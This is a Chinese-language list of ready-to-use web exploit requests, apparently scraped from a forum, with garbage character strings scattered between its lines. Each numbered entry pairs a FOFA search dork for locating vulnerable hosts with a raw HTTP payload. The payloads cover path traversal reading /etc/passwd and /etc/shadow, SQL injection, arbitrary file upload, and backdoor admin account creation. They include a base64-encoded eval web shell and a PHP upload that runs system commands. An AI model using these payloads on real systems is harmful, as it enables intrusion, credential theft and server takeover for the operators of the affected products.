8 i$ k7 l0 _: _Content-Length: 1080
+ |' i9 c) _8 D8 s1 Z* zAccept-Encoding: gzip, deflate
9 y  }. M! ~2 o8 m( JConnection: close
Content-Type: text/xml; charset=utf-8
& j6 o8 d; z7 b+ `7 c/ rSoapaction: "http://rainier/jobUpload"

1 W1 v% `1 c8 h- w<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
  g/ {0 U8 I( m1 b! d$ S6 M<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
- {! E6 P) r8 |4 ^# R<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
" [2 Y/ P, G# M& p3 g1 A5 S+ ?$ c<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
, N5 V/ i: N0 z* d. F) q0 [</jobUpload>
</soap:Body>
</soap:Envelope>


! P5 D7 }! y, y7 j' U' ]- h/ m9 H/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
: e6 ^0 c% g3 p# d) E5 W/ z
5 a. j: W8 Y3 j- ]5 V
# C, \4 ?8 ?# z  }$ X160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
9 O& X  Q" b' S+ C& x* O8 pFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
2 d8 n# v* Z( a- m% W: wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
3 M8 i8 v# C/ l. V3 h3 VConnection: close
# z* B- y% D! JAccept: */*
3 ]" U0 \. ^5 b/ y$ h+ ~Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
3 h/ A* n4 @! B第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
  @" e( V) X+ o# N  `* O% oPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
# c# w5 g# h* Z5 F! i+ SConnection: close
5 h) ]  Z/ v  C7 b& s3 Q% z. M! aContent-Length: 445
- S; P; Y/ \1 J+ L: y- }4 t4 aContent-Type: text/xml
6 \# N% l- n0 a: j, \$ \Accept-Encoding: gzip
$ l. F) Y1 X9 v, i! {( b
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
( ?$ j4 z+ @% q# Q' ]http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* y9 ]: {2 ~% S9 t: o% u" H; f<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
+ s& u6 G9 V' W, ?/ e<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
4 x# \' H, a$ ]+ q" Q<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
  {/ r8 `0 R7 B</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

. u! K& K; W( a; W3 j  i162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
  v4 s& I* E0 U9 m, u/ ZFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
& P# G6 I5 q1 x8 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
, A4 \$ z9 w7 Y* M6 D6 jConnection: close
Content-Length: 583
7 R% m+ ^. r$ f/ Y  D4 |' z% LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
% E7 N: w( b1 @( }Accept-Encoding: gzip

: s* m2 I) r; t------WebKitFormBoundaryeegvclmyurlotuey
. n+ f% [; t4 q# Z. AContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
* L9 U' ]8 x0 L" @. QContent-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

( X) D' |% c; pResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
1 e& T- T8 {) I# n4 LContent-Disposition: form-data; name="remotePath"

( m7 f3 e. A0 U" h" X/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


! ^6 p# \/ m- _. f% V8 Whttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
% A2 }3 @; R7 X6 Z. Z2 x2 D" bFOFA: icon_hash="-795291075"
1 y6 o5 p. w5 W7 I9 ?/ v  [/ z: f0 q/ FPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
7 P# p/ ?2 m8 `6 X( }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
. L% ?/ l, l* XConnection: close
Content-Length: 293
5 m" S2 v1 a' w, I7 v$ V% |Accept: */*
Accept-Encoding: gzip, deflate
+ ~+ Y" ^1 f; n6 @Accept-Language: zh-CN,zh;q=0.9
' r5 x; {+ j- g1 l1 Y' k' TContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
* G2 u' i/ }- H- f
------iiqvnofupvhdyrcoqyuujyetjvqgocod
% A& H) |" Z% a! [7 b) v$ |" EContent-Disposition: form-data; name="name"

2 F. m, ?+ [) t/ H- N; G1.php
. C8 B, I6 P1 ]9 e0 }! P" o/ A% j( ?------iiqvnofupvhdyrcoqyuujyetjvqgocod
: h2 g: R3 C( v, W" zContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
4 P* S  ^& }' [4 Y3 I' U' o7 ]

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) ^% J, \$ A  H3 L4 B+ `5 D4 R2 H& ~FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
' t9 _: z. w$ H6 d& f! l" n+ l7 Y' nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
6 K& h8 Z2 d) Z" |6 `8 mContent-Length: 288
1 ?7 n( h. W1 K/ HAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
( z+ S  j" ^6 L1 p* |4 FConnection: close
2 I0 V& W9 P* I# n4 B( gContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
, P5 V! {$ C1 }8 ]Accept-Encoding: gzip
" W! d: W; P: D: J; s; W7 k
* f9 T  C! J, B6 L% k) d0 ?------dqdaieopnozbkapjacdbdthlvtlyl
! C& c" Y4 U+ R* {, XContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
& O' E/ g/ E8 P# i/ lContent-Type: image/jpeg
, A# \4 f7 F. H- F7 l
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
4 }; ^# v2 V7 U( Q& r
6 i8 b1 t2 ?) I9 u5 ^( x165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
/ S: T: b& `8 f. ]! r% |; u

) S7 Y- n5 G' Q* i7 q5 }* x166. 中成科信票务管理平台SeatMapHandler SQL注入
# D$ C! T# J  y& x* gFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
+ \* q% p; X/ r* qPragma: no-cache
. v0 H$ o% h, H7 cCache-Control: no-cache
7 M+ O# d$ |, z3 ZUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
, B& z! Z! X! TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' O: e+ A0 {, ?8 o2 K- L6 [Accept-Encoding: gzip, deflate
) ~* O" Q6 i: v, |0 `Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
; O. |- x2 _1 A; T, lContent-Type: application/x-www-form-urlencoded
Content-Length: 89
$ d$ O% b7 C- Y
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
' |( J1 a7 U4 v2 o7 M
6 r/ F$ o3 S5 A" K$ Q; {+ l
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
+ }+ x; d' {  r( E) e5 BGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
. O' Q. d0 U+ u6 w: q# c. j6 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# v0 P+ w" d$ p0 ?! F4 CAccept-Encoding: gzip, deflate
Accept: */*
& A( M1 `9 e# M5 r  e' g2 F' ZConnection: keep-alive
1 R# Q' R5 Q9 `& ~6 e  R

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
9 l' C8 T! K3 U. l4 J/ T- aGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close



5 K6 a* D9 U* P0 g  R" d2 b1 E+ K169. 宏景EHR downlawbase SQL注入
( z4 {: h" ?+ G+ {: R& ~) N/ ~FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
, P- \  M+ e7 i: `0 UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 v0 }1 D. U$ T, ?3 t5 WAccept: */*
Accept-Encoding: gzip, deflate
# N# \3 p, P1 jConnection: close



/ U# R* U9 L; n" C) Q170. 宏景EHR DisplayExcelCustomReport 任意文件读取
+ ]' ?9 E% m+ r  ZFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
; S' l. Z- p2 k' }: ^1 W: I, fHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 M: K" @' h( l+ o) M
filename=../webapps/ROOT/WEB-INF/web.xml
# {1 ~' f2 {. F  ?

' \# h+ N% w" Z' l1 t" U* r8 T1 t171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
9 a7 r% \0 `( Z! s" m# `) V: T6 eGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
- _8 Y/ N' l( ^" NHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! L0 g" L- `: f0 l( J7 w, ~Connection: close



172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
3 l+ ]) E, B5 |) X+ _3 ?GET /../../../../etc/passwd HTTP/1.1
5 i) K8 s; k# g( ^+ p0 zHost: your-ip
; r( L! p3 i! j' i) |! _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ a( I9 A: V7 g' E7 [' ~Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 |  l( Q- Q# k9 {; |5 k& w
2 f) Z9 S  W* `! V

, g( n8 ?1 T8 S6 X8 i* ^& t173. Check Point 安全网关任意文件读取
9 L' l7 A( r0 e/ j. O0 ZCVE-2024-24919
3 _" e6 R' O" t: M7 T. m' X; hFOFA：app="Check_Point-SSL-Network-Extender"
  N5 O) m+ b" S9 W1 gPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

6 v9 P+ Z! j8 laCSHELL/../../../../../../../etc/shadow


7 L1 a& V2 k7 {( {# L- Y
, v) m( G  I, C/ ^. @4 [% s174. 金和OA C6 FileDownLoad.aspx 任意文件读取
2 w5 u$ @9 x: j# v3 s: `5 K8 yFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. K8 }; O2 S/ X* ]/ eAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 y5 S7 Y+ q) T& [
' @+ Q4 k. C9 S  Z2 v, v& L
) d* _% g! w. e8 g
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' U7 j' P/ K9 Q& RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 E4 |* N: L3 F! V) _0 \2 |3 w0 D3 u6 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
$ |+ ?# g1 b3 `% D

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
( I! Q* Y; E$ v% N2 @POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
' h, B6 u6 S- R0 _" l0 CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
8 Y9 h* r* Y% d& C+ i" _Connection: close
" k  ]7 K+ U/ i  A' `, |( H
) i9 ^, u9 F3 c9 m------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
  U/ [3 o/ S6 DContent-Type: image/png
) o9 \  ]1 z' P  l5 }
  F; D5 K) {9 K" {<?php system("cat /etc/passwd");unlink(__FILE__);?>
0 \3 I1 Z& O2 r) j. Y6 @. x* a' H------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
7 N$ M# ^' o) J* q/ h
5 f5 Y4 X0 i( z& F* r
5 S0 V; H3 N8 h4 g, K; k------WebKitFormBoundaryOKldnDPT--
; i# g& R: s- B9 a3 {" ~

/ P. J8 _. R) v7 X
: q+ _* i" S; J% ]. T177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
% X8 w" e5 h1 l% k/userLogin.asp/../actionpolicy_status/../M60.cfg
) R* z7 K- E: r2 d, ~" T4 Q/userLogin.asp/../actionpolicy_status/../GR8300.cfg
) Y& A9 ~. T+ ]1 N+ S4 p/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
  u! P8 B0 q5 m/ ?8 E/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
: n3 Z$ N9 f5 E$ h" d: k% t/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
  I& _5 g6 L" h' i( ]6 m" G/ f/userLogin.asp/../actionpolicy_status/../ER5200.cfg
" v, F: ~1 \& s+ o$ [( [' v/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
+ X: T5 F. i# `& i. g5 q$ s/userLogin.asp/../actionpolicy_status/../ER3200.cfg
$ ], @4 p( |# p% _% V/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
8 x: ^% ~. K! B) ^/userLogin.asp/../actionpolicy_status/../ER3100.cfg
" J( c/ t! g$ [. t/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
% y, [- ~  [6 c, r9 Q8 M. u8 j5 }  `

$ q' f: i& V, S/ @" h  g178. H3C校园网自助服务系统-flexfileupload-任意文件上传
' L9 `, _* h; K8 r; kFOFA：header="/selfservice"
8 k3 i# v' y: }" l& z( WPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
9 Y! z- ]8 }. M- ^) OContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
+ P* h* U# N9 F+ ?/ x4 lContent-Length: 255
8 Y2 t$ Z# l% X$ B. g
1 [& C0 E3 Y- [6 k, ~% x1 O0 S12234
-----------------aqutkea7vvanpqy3rh2l--
/ j; m1 i. X1 e& d7 ~

GET /imc/primepush/%2e%2e/flex/12234.txt
/ `/ s4 d# D# q' X0 h3 V
3 V6 ], A0 L. y6 p, c7 H# L- E4 B. h
179. 建文工程管理系统存在任意文件读取
7 z* ~, h4 {) f. c+ t! N4 ?% oPOST /Common/DownLoad2.aspx HTTP/1.1
7 Q0 ^& q( v1 R6 F  d& mHost: {{Hostname}}
+ y/ n% N, T2 k; H" _% ^0 X7 PContent-Type: application/x-www-form-urlencoded
" ~% X) y8 b- `( _8 TUser-Agent: Mozilla/5.0

path=../log4net.config&Name=


5 O: ?. L' I6 k7 p( v% V180. 帮管客 CRM jiliyu SQL注入
; ?0 b8 h, C  J8 m2 g* kFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 ~; V; @7 p7 ?9 f) {5 k8 l: o2 {  [6 uAccept-Encoding: gzip, deflate
. J! ~: W: @8 q, H& v7 QAccept-Language: zh-CN,zh;q=0.9
" b# m5 u$ ^% B- g  UConnection: close

% Y! Q* r( |1 W. j2 t, R: X
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
! G, k9 m4 a1 f5 g1 {) ~, GFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
# g& f- t5 v0 k  K3 X7 YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 F+ J0 N# G- D# LAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! Q$ ?6 q3 d/ b

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
7 e8 m, {2 j6 c) H8 W0 r
* [' |; c  o( ?+ U2 h( k
. ?0 g: f/ e$ o+ J  {4 O182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
* n  I) T5 j5 f5 I7 N: _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' B9 _2 U0 h* L6 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& X- m( p+ e" F$ z8 oContent-Type: application/x-www-form-urlencoded


0 ~$ U! K) {4 `* H5 U2 b  gusername=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
7 B0 z* f' w- U. ~9 z+ _# a& mFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
+ ^% P/ q+ |! I, cGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
% F8 }5 M, Y# H( ?Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 h' o. u' ]$ S# b2 |$ TAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
. |% i; W2 ^  r' n# s% `% @) s' XConnection: close

/ X, P" h! O# b$ p3 D. Q9 X$ V
# d0 M- E0 B7 V) f- a/ e& a( V184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
3 t$ q, x  v% r8 p) t7 WPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4 {# X6 y, G# C1 t0 sAccept: application/xml, text/xml, */*; q=0.01
1 m) Z6 T0 a0 u" aContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


$ j0 V2 z# |- f2 [! `' Minsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

8 m1 Z+ h! [8 l. j) E0 ?+ _% ~
! y, K9 V$ l$ u4 O. `9 S) q185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
& O) U0 _: l5 SFOFA：app="REALOR-天翼应用虚拟化系统"
" K1 k) _/ q: b& M2 g: zGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
* i( M& d7 K6 u6 YHost: host
! m. V' b  W% ?- H6 ?

186. F-logic DataCube3 SQL注入
- x. {6 N8 M) gCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
! M+ b0 y; F% u1 r" t" WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
9 M' F2 i( |4 @- DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
. k$ \. H2 M# ?$ DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 ^5 ^3 x; r( K# Y7 g) f8 tAccept-Encoding: gzip, deflate
+ F3 Q, I) F, k  w) FConnection: close
Content-Type: application/x-www-form-urlencoded
' }" ^5 `) |; r% b
5 I8 q# E. Y" u: a0 A4 a1 }$ [req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
" h2 `1 z3 D# Y/ e9 e% k4 i

5 B/ {. r) j6 ]1 E* o( U187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
9 Y7 Z$ b  V& S( B# WContent-Type: application/x-www-form-urlencoded


- j, W, x* ]$ `" u' bobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

- a) Z0 _1 @. F1 t
! C2 H7 e5 q# r4 l188. 叁体-佳会视频会议 attachment 任意文件读取
9 x+ h+ t( {8 I) m: r. v& Cversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
& A" O( r( D. ~( L! x7 n3 Y, Z0 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ P6 b) g; H3 F- `# C0 ^, k+ D5 lAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 N" D1 h. T1 e# ^Connection: close

# {& N$ a, d8 K  `. s% ?
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
% N5 x1 r5 d1 n' }( ~FOFA：app="LANWON-临床浏览系统"
